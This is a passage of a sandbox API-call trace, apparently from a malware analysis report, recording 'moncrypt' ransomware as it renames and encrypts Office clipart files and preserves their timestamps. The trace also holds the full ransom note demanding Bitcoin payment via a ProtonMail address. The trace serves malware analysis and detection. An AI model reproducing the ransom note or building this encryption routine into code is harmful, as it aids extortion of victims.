lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.977] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.977] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.977] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.978] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.978] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.978] CloseHandle (hObject=0x188) returned 1 [0059.978] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0059.978] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.978] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.978] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.978] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.978] GlobalUnlock (hMem=0x44000c) returned 0 [0059.978] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.978] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.978] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.978] GlobalUnlock (hMem=0x44000c) returned 0 [0059.978] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.979] GlobalUnlock (hMem=0x440004) returned 0 [0059.979] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.979] CharLowerBuffW (in: lpsz="AN01545_.WMF", cchLength=0xc | out: lpsz="an01545_.wmf") returned 0xc [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.979] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01545_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.980] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.980] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.980] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", dwFileAttributes=0x20) returned 1 [0059.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.moncrypt")) returned 1 [0059.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.981] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.981] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1ccc [0059.982] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.982] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1ccc, lpOverlapped=0x0) returned 1 [0059.983] GlobalLock (hMem=0x440004) returned 0x550170 [0059.983] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.983] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.983] GlobalUnlock (hMem=0x440004) returned 0 [0059.983] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.983] GlobalUnlock (hMem=0x44000c) returned 0 [0059.983] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.983] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.983] GlobalUnlock (hMem=0x44000c) returned 0 [0059.983] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.983] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1ce0, lpOverlapped=0x0) returned 1 [0059.983] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.984] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.995] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.995] CloseHandle (hObject=0x188) returned 1 [0059.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.996] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.996] CloseHandle (hObject=0x188) returned 1 [0059.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.997] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.997] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.997] GlobalUnlock (hMem=0x44000c) returned 0 [0059.997] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.997] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.997] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.997] GlobalUnlock (hMem=0x44000c) returned 0 [0059.997] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.997] GlobalUnlock (hMem=0x440004) returned 0 [0059.997] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.997] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.997] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.997] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.997] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.997] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.998] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.998] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.998] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.998] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.998] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.998] CloseHandle (hObject=0x188) returned 1 [0059.998] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0059.998] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.998] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.998] GlobalLock (hMem=0x440004) returned 0x550170 [0059.998] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.998] GlobalUnlock (hMem=0x440004) returned 0 [0059.998] GlobalLock (hMem=0x440004) returned 0x550170 [0059.998] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.998] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.998] GlobalUnlock (hMem=0x440004) returned 0 [0059.998] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.998] GlobalUnlock (hMem=0x44000c) returned 0 [0059.998] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.999] CharLowerBuffW (in: lpsz="AN02122_.WMF", cchLength=0xc | out: lpsz="an02122_.wmf") returned 0xc [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.999] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN02122_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.000] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.000] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.000] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", dwFileAttributes=0x20) returned 1 [0060.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft 